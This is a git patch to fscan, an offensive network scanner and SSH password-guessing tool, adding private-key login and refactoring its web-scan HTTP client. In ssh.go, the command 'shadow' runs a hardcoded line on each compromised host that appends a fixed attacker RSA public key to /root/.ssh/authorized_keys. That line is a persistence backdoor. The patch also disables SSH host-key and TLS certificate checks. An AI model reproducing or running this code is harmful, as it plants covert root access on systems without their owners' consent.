From 90ef895e0f894d5a8b577923971bc798519cfae5 Mon Sep 17 00:00:00 2001 From: shadow1ng Date: Mon, 31 May 2021 10:03:01 +0800 Subject: [PATCH] =?UTF-8?q?ssh=E6=A8=A1=E5=9D=97=E5=8A=A0=E5=85=A5?= =?UTF-8?q?=E7=A7=81=E9=92=A5=E8=BF=9E=E6=8E=A5?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/ssh.go | 40 +++++++-- README.md | 2 +- WebScan/lib/client.go | 70 ++++++++++++++++ WebScan/lib/eval.go | 115 +++++++++++++++++++++++++ WebScan/lib/http.go | 186 ----------------------------------------- WebScan/lib/http.pb.go | 66 +++++++++++++++ WebScan/lib/poc.go | 71 ---------------- common/config.go | 1 + common/flag.go | 1 + 9 files changed, 288 insertions(+), 264 deletions(-) create mode 100644 WebScan/lib/client.go delete mode 100644 WebScan/lib/http.go delete mode 100644 WebScan/lib/poc.go diff --git a/Plugins/ssh.go b/Plugins/ssh.go index 5f74a53..1332955 100644 --- a/Plugins/ssh.go +++ b/Plugins/ssh.go @@ -1,9 +1,11 @@ package Plugins import ( + "errors" "fmt" "github.com/shadow1ng/fscan/common" "golang.org/x/crypto/ssh" + "io/ioutil" "net" "strings" "time" @@ -28,6 +30,9 @@ func SshScan(info *common.HostInfo) (tmperr error) { return err } } + if info.SshKey != "" { + return err + } } } return tmperr @@ -36,11 +41,24 @@ func SshScan(info *common.HostInfo) (tmperr error) { func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass + Auth := []ssh.AuthMethod{} + if info.SshKey != "" { + pemBytes, err := ioutil.ReadFile("shadow") + if err != nil { + return false, errors.New("read key failed" + err.Error()) + } + signer, err := ssh.ParsePrivateKey(pemBytes) + if err != nil { + return false, errors.New("parse key failed" + err.Error()) + } + Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)} + } else { + Auth = []ssh.AuthMethod{ssh.Password(Password)} + } + config := &ssh.ClientConfig{ - User: Username, - Auth: []ssh.AuthMethod{ - ssh.Password(Password), - }, + User: Username, + Auth: Auth, Timeout: time.Duration(info.Timeout) * time.Second, HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil @@ -54,12 +72,22 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er if err == nil { defer session.Close() flag = true + var result string if info.Command != "" { + if info.Command == "shadow" { + info.Command = "mkdir dir /root/.ssh/ && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkQQuWtmLm0eEhogGubMFh2/qv21aQV1tzbRjySPNQJRig479hMre48jxWDzB71WdEU2vg+ns8/0s3jqcGAx5lJaneH1ovLRNdIq4PkfmJPSMCEibGoNVS47rvfrv4QgECnbAt3azklnvniDvZiP5KjBQS9z57Ni2WVDC1SHNy1PDVMGYMJxZZ8kVKP7LRDbiOKJsSplHV/qP3NGZkdKh7OUYBx8A7+S3vT9c3AMSmk74Z2ibU0sddlngf0hLOxbTRiJV+OsgQQOfnttZvA7LoxbCiMtpzKGLOLAHXD8Hx5okXkx8cGOjc+Fcr6s2eQ10BLGPO4LPYWQ+G91xj+VF7 sysadmin\">> /root/.ssh/authorized_keys" + } combo, _ := session.CombinedOutput(info.Command) - result := fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo)) + result = fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo)) + if info.SshKey != "" { + result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct \n %v", Host, Port, string(combo)) + } common.LogSuccess(result) } else { - result := fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password) + result = fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password) + if info.SshKey != "" { + result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct", Host, Port) + } common.LogSuccess(result) } } diff --git a/README.md b/README.md index 9bfdd58..481a4c0 100644 --- a/README.md +++ b/README.md @@ -153,7 +153,7 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G ## 最近更新 -[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块 +[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接 [+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码 [+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等 [+] 2021/4/22 修改webtitle模块,加入gbk解码 diff --git a/WebScan/lib/client.go b/WebScan/lib/client.go new file mode 100644 index 0000000..1fd0e73 --- /dev/null +++ b/WebScan/lib/client.go @@ -0,0 +1,70 @@ +package lib + +import ( + "crypto/tls" + "github.com/shadow1ng/fscan/common" + "log" + "net" + "net/http" + "net/url" + "strings" + "time" +) + +var ( + Client *http.Client + ClientNoRedirect *http.Client + dialTimout = 5 * time.Second + keepAlive = 15 * time.Second +) + +func Inithttp(PocInfo common.PocInfo) { + //PocInfo.Proxy = "http://127.0.0.1:8080" + err := InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second) + if err != nil { + log.Fatal(err) + } +} + +func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error { + dialer := &net.Dialer{ + Timeout: dialTimout, + KeepAlive: keepAlive, + } + + tr := &http.Transport{ + DialContext: dialer.DialContext, + MaxConnsPerHost: 0, + MaxIdleConns: 0, + MaxIdleConnsPerHost: ThreadsNum * 2, + IdleConnTimeout: keepAlive, + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + TLSHandshakeTimeout: 5 * time.Second, + DisableKeepAlives: false, + } + if DownProxy != "" { + if DownProxy == "1" { + DownProxy = "http://127.0.0.1:8080" + } else if !strings.Contains(DownProxy, "://") { + DownProxy = "http://127.0.0.1:" + DownProxy + } + u, err := url.Parse(DownProxy) + if err != nil { + return err + } + tr.Proxy = http.ProxyURL(u) + } + + Client = &http.Client{ + Transport: tr, + Timeout: Timeout, + } + ClientNoRedirect = &http.Client{ + Transport: tr, + Timeout: Timeout, + } + ClientNoRedirect.CheckRedirect = func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + } + return nil +} diff --git a/WebScan/lib/eval.go b/WebScan/lib/eval.go index adff95f..2da225f 100644 --- a/WebScan/lib/eval.go +++ b/WebScan/lib/eval.go @@ -2,6 +2,7 @@ package lib import ( "bytes" + "compress/gzip" "crypto/md5" "encoding/base64" "fmt" @@ -11,10 +12,13 @@ import ( "github.com/google/cel-go/common/types/ref" "github.com/google/cel-go/interpreter/functions" exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1" + "io" + "io/ioutil" "math/rand" "net/http" "net/url" "regexp" + "strconv" "strings" "time" ) @@ -486,3 +490,114 @@ func RandomStr(randSource *rand.Rand, letterBytes string, n int) string { } return string(randBytes) } + +func DoRequest(req *http.Request, redirect bool) (*Response, error) { + if req.Body == nil || req.Body == http.NoBody { + } else { + req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength))) + if req.Header.Get("Content-Type") == "" { + req.Header.Set("Content-Type", "application/x-www-form-urlencoded") + } + } + + var oResp *http.Response + var err error + if redirect { + oResp, err = Client.Do(req) + } else { + oResp, err = ClientNoRedirect.Do(req) + } + if err != nil { + return nil, err + } + defer oResp.Body.Close() + resp, err := ParseResponse(oResp) + if err != nil { + return nil, err + } + return resp, err +} + +func ParseUrl(u *url.URL) *UrlType { + nu := &UrlType{} + nu.Scheme = u.Scheme + nu.Domain = u.Hostname() + nu.Host = u.Host + nu.Port = u.Port() + nu.Path = u.EscapedPath() + nu.Query = u.RawQuery + nu.Fragment = u.Fragment + return nu +} + +func ParseRequest(oReq *http.Request) (*Request, error) { + req := &Request{} + req.Method = oReq.Method + req.Url = ParseUrl(oReq.URL) + header := make(map[string]string) + for k := range oReq.Header { + header[k] = oReq.Header.Get(k) + } + req.Headers = header + req.ContentType = oReq.Header.Get("Content-Type") + if oReq.Body == nil || oReq.Body == http.NoBody { + } else { + data, err := ioutil.ReadAll(oReq.Body) + if err != nil { + return nil, err + } + req.Body = data + oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data)) + } + return req, nil +} + +func ParseResponse(oResp *http.Response) (*Response, error) { + var resp Response + header := make(map[string]string) + resp.Status = int32(oResp.StatusCode) + resp.Url = ParseUrl(oResp.Request.URL) + for k := range oResp.Header { + header[k] = oResp.Header.Get(k) + } + resp.Headers = header + resp.ContentType = oResp.Header.Get("Content-Type") + body, err := getRespBody(oResp) + if err != nil { + return nil, err + } + resp.Body = body + return &resp, nil +} + +func getRespBody(oResp *http.Response) ([]byte, error) { + var body []byte + if oResp.Header.Get("Content-Encoding") == "gzip" { + gr, err := gzip.NewReader(oResp.Body) + if err != nil { + return nil, err + } + defer gr.Close() + for { + buf := make([]byte, 1024) + n, err := gr.Read(buf) + if err != nil && err != io.EOF { + //utils.Logger.Error(err) + return nil, err + } + if n == 0 { + break + } + body = append(body, buf...) + } + } else { + raw, err := ioutil.ReadAll(oResp.Body) + if err != nil { + //utils.Logger.Error(err) + return nil, err + } + defer oResp.Body.Close() + body = raw + } + return body, nil +} diff --git a/WebScan/lib/http.go b/WebScan/lib/http.go deleted file mode 100644 index 5485b92..0000000 --- a/WebScan/lib/http.go +++ /dev/null @@ -1,186 +0,0 @@ -package lib - -import ( - "bytes" - "compress/gzip" - "crypto/tls" - "github.com/shadow1ng/fscan/common" - "io" - "io/ioutil" - "log" - "net" - "net/http" - "net/url" - "strconv" - "strings" - "time" -) - -var ( - Client *http.Client - ClientNoRedirect *http.Client - dialTimout = 5 * time.Second - keepAlive = 15 * time.Second -) - -func Inithttp(PocInfo common.PocInfo) { - //PocInfo.Proxy = "http://127.0.0.1:8080" - err := InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second) - if err != nil { - log.Fatal(err) - } -} - -func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error { - dialer := &net.Dialer{ - Timeout: dialTimout, - KeepAlive: keepAlive, - } - - tr := &http.Transport{ - DialContext: dialer.DialContext, - MaxConnsPerHost: 0, - MaxIdleConns: 0, - MaxIdleConnsPerHost: ThreadsNum * 2, - IdleConnTimeout: keepAlive, - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - TLSHandshakeTimeout: 5 * time.Second, - DisableKeepAlives: false, - } - if DownProxy != "" { - if DownProxy == "1" { - DownProxy = "http://127.0.0.1:8080" - } else if !strings.Contains(DownProxy, "://") { - DownProxy = "http://127.0.0.1:" + DownProxy - } - u, err := url.Parse(DownProxy) - if err != nil { - return err - } - tr.Proxy = http.ProxyURL(u) - } - - Client = &http.Client{ - Transport: tr, - Timeout: Timeout, - } - ClientNoRedirect = &http.Client{ - Transport: tr, - Timeout: Timeout, - } - ClientNoRedirect.CheckRedirect = func(req *http.Request, via []*http.Request) error { - return http.ErrUseLastResponse - } - return nil -} - -func DoRequest(req *http.Request, redirect bool) (*Response, error) { - if req.Body == nil || req.Body == http.NoBody { - } else { - req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength))) - if req.Header.Get("Content-Type") == "" { - req.Header.Set("Content-Type", "application/x-www-form-urlencoded") - } - } - - var oResp *http.Response - var err error - if redirect { - oResp, err = Client.Do(req) - } else { - oResp, err = ClientNoRedirect.Do(req) - } - if err != nil { - return nil, err - } - defer oResp.Body.Close() - resp, err := ParseResponse(oResp) - if err != nil { - return nil, err - } - return resp, err -} - -func ParseUrl(u *url.URL) *UrlType { - nu := &UrlType{} - nu.Scheme = u.Scheme - nu.Domain = u.Hostname() - nu.Host = u.Host - nu.Port = u.Port() - nu.Path = u.EscapedPath() - nu.Query = u.RawQuery - nu.Fragment = u.Fragment - return nu -} - -func ParseRequest(oReq *http.Request) (*Request, error) { - req := &Request{} - req.Method = oReq.Method - req.Url = ParseUrl(oReq.URL) - header := make(map[string]string) - for k := range oReq.Header { - header[k] = oReq.Header.Get(k) - } - req.Headers = header - req.ContentType = oReq.Header.Get("Content-Type") - if oReq.Body == nil || oReq.Body == http.NoBody { - } else { - data, err := ioutil.ReadAll(oReq.Body) - if err != nil { - return nil, err - } - req.Body = data - oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data)) - } - return req, nil -} - -func ParseResponse(oResp *http.Response) (*Response, error) { - var resp Response - header := make(map[string]string) - resp.Status = int32(oResp.StatusCode) - resp.Url = ParseUrl(oResp.Request.URL) - for k := range oResp.Header { - header[k] = oResp.Header.Get(k) - } - resp.Headers = header - resp.ContentType = oResp.Header.Get("Content-Type") - body, err := getRespBody(oResp) - if err != nil { - return nil, err - } - resp.Body = body - return &resp, nil -} - -func getRespBody(oResp *http.Response) ([]byte, error) { - var body []byte - if oResp.Header.Get("Content-Encoding") == "gzip" { - gr, err := gzip.NewReader(oResp.Body) - if err != nil { - return nil, err - } - defer gr.Close() - for { - buf := make([]byte, 1024) - n, err := gr.Read(buf) - if err != nil && err != io.EOF { - //utils.Logger.Error(err) - return nil, err - } - if n == 0 { - break - } - body = append(body, buf...) - } - } else { - raw, err := ioutil.ReadAll(oResp.Body) - if err != nil { - //utils.Logger.Error(err) - return nil, err - } - defer oResp.Body.Close() - body = raw - } - return body, nil -} diff --git a/WebScan/lib/http.pb.go b/WebScan/lib/http.pb.go index 303095a..1c36c53 100644 --- a/WebScan/lib/http.pb.go +++ b/WebScan/lib/http.pb.go @@ -4,9 +4,12 @@ package lib import ( + "embed" fmt "fmt" proto "github.com/golang/protobuf/proto" + "gopkg.in/yaml.v3" math "math" + "strings" ) // Reference imports to suppress errors if they are not otherwise used. @@ -352,3 +355,66 @@ var fileDescriptor_11b04836674e6f94 = []byte{ 0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00, 0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00, } + +type Poc struct { + Name string `yaml:"name"` + Set map[string]string `yaml:"set"` + Sets map[string][]string `yaml:"sets"` + Rules []Rules `yaml:"rules"` + Detail Detail `yaml:"detail"` +} + +type Rules struct { + Method string `yaml:"method"` + Path string `yaml:"path"` + Headers map[string]string `yaml:"headers"` + Body string `yaml:"body"` + Search string `yaml:"search"` + FollowRedirects bool `yaml:"follow_redirects"` + Expression string `yaml:"expression"` +} + +type Detail struct { + Author string `yaml:"author"` + Links []string `yaml:"links"` + Description string `yaml:"description"` + Version string `yaml:"version"` +} + +func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc { + var pocs []*Poc + for _, f := range SelectPoc(Pocs, pocname) { + if p, err := loadPoc(f, Pocs); err == nil { + pocs = append(pocs, p) + } + } + return pocs +} + +func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) { + p := &Poc{} + yamlFile, err := Pocs.ReadFile("pocs/" + fileName) + + if err != nil { + return nil, err + } + err = yaml.Unmarshal(yamlFile, p) + if err != nil { + return nil, err + } + return p, err +} + +func SelectPoc(Pocs embed.FS, pocname string) []string { + entries, err := Pocs.ReadDir("pocs") + if err != nil { + fmt.Println(err) + } + var foundFiles []string + for _, entry := range entries { + if strings.Contains(entry.Name(), pocname) { + foundFiles = append(foundFiles, entry.Name()) + } + } + return foundFiles +} diff --git a/WebScan/lib/poc.go b/WebScan/lib/poc.go deleted file mode 100644 index 1a66270..0000000 --- a/WebScan/lib/poc.go +++ /dev/null @@ -1,71 +0,0 @@ -package lib - -import ( - "embed" - "fmt" - "gopkg.in/yaml.v3" - "strings" -) - -type Poc struct { - Name string `yaml:"name"` - Set map[string]string `yaml:"set"` - Sets map[string][]string `yaml:"sets"` - Rules []Rules `yaml:"rules"` - Detail Detail `yaml:"detail"` -} - -type Rules struct { - Method string `yaml:"method"` - Path string `yaml:"path"` - Headers map[string]string `yaml:"headers"` - Body string `yaml:"body"` - Search string `yaml:"search"` - FollowRedirects bool `yaml:"follow_redirects"` - Expression string `yaml:"expression"` -} - -type Detail struct { - Author string `yaml:"author"` - Links []string `yaml:"links"` - Description string `yaml:"description"` - Version string `yaml:"version"` -} - -func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc { - var pocs []*Poc - for _, f := range SelectPoc(Pocs, pocname) { - if p, err := loadPoc(f, Pocs); err == nil { - pocs = append(pocs, p) - } - } - return pocs -} - -func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) { - p := &Poc{} - yamlFile, err := Pocs.ReadFile("pocs/" + fileName) - - if err != nil { - return nil, err - } - err = yaml.Unmarshal(yamlFile, p) - if err != nil { - return nil, err - } - return p, err -} - -func SelectPoc(Pocs embed.FS, pocname string) []string { - entries, err := Pocs.ReadDir("pocs") - if err != nil { - fmt.Println(err) - } - var foundFiles []string - for _, entry := range entries { - if strings.Contains(entry.Name(), pocname) { - foundFiles = append(foundFiles, entry.Name()) - } - } - return foundFiles -} diff --git a/common/config.go b/common/config.go index f719bd8..98a37ab 100644 --- a/common/config.go +++ b/common/config.go @@ -48,6 +48,7 @@ type HostInfo struct { Timeout int64 Scantype string Command string + SshKey string Username string Password string Usernames []string diff --git a/common/flag.go b/common/flag.go index 119159c..03390a5 100644 --- a/common/flag.go +++ b/common/flag.go @@ -22,6 +22,7 @@ func Flag(Info *HostInfo) { flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306") flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445") flag.StringVar(&Info.Command, "c", "", "exec command (ssh)") + flag.StringVar(&Info.SshKey, "sshkey", "", "sshkey file (id_rsa)") flag.StringVar(&Info.Domain, "domain", "", "smb domain") flag.StringVar(&Info.Username, "user", "", "username") flag.StringVar(&Info.Password, "pwd", "", "password")